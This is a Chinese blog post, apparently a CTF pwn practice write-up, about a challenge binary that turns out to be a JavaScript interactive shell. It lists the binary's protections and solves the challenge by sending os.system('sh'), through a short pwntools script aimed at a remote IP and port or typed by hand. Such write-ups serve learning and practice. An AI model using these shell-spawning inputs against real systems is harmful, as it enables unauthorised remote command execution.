pwn刷题num13---js交互式命令行模式

tbsqigongzi

已于 2022-04-22 20:46:07 修改

阅读量899

点赞数

分类专栏： pwn CTF 攻防世界文章标签：系统安全 python 网络安全 c语言安全

于 2022-04-22 20:03:58 首次发布

本文链接：https://blog.csdn.net/tbsqigongzi/article/details/124353685

版权

67 篇文章 5 订阅

订阅专栏

61 篇文章 1 订阅

订阅专栏

17 篇文章 0 订阅

订阅专栏

在这里插入图片描述
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行

32位，小端序
未开启RELRO---got表可写
未开启canary保护---存在栈溢出
开启NX保护----注入的shellcode不可执行
未开启PIE----程序地址为真实地址
动态链接

运行后出现一个js>很奇怪
在这里插入图片描述
ida后找不到主函数

怀疑不是c语言程序
上查一下js,意思是JavaScript
看了别人的wp，发现这个程序直接是js的交互式命令行模式

os.system('sh')

这是js的系统调用shell的命令

exp

from pwn import *
sh = remote('111.200.241.244',55683)
sh.sendlineafter('js>',"os.system('sh')")
sh.interactive()

在这里插入图片描述

或者不用exp
直接连接到远程，输入os.system(‘sh’) 在这里插入图片描述

关注

专栏目录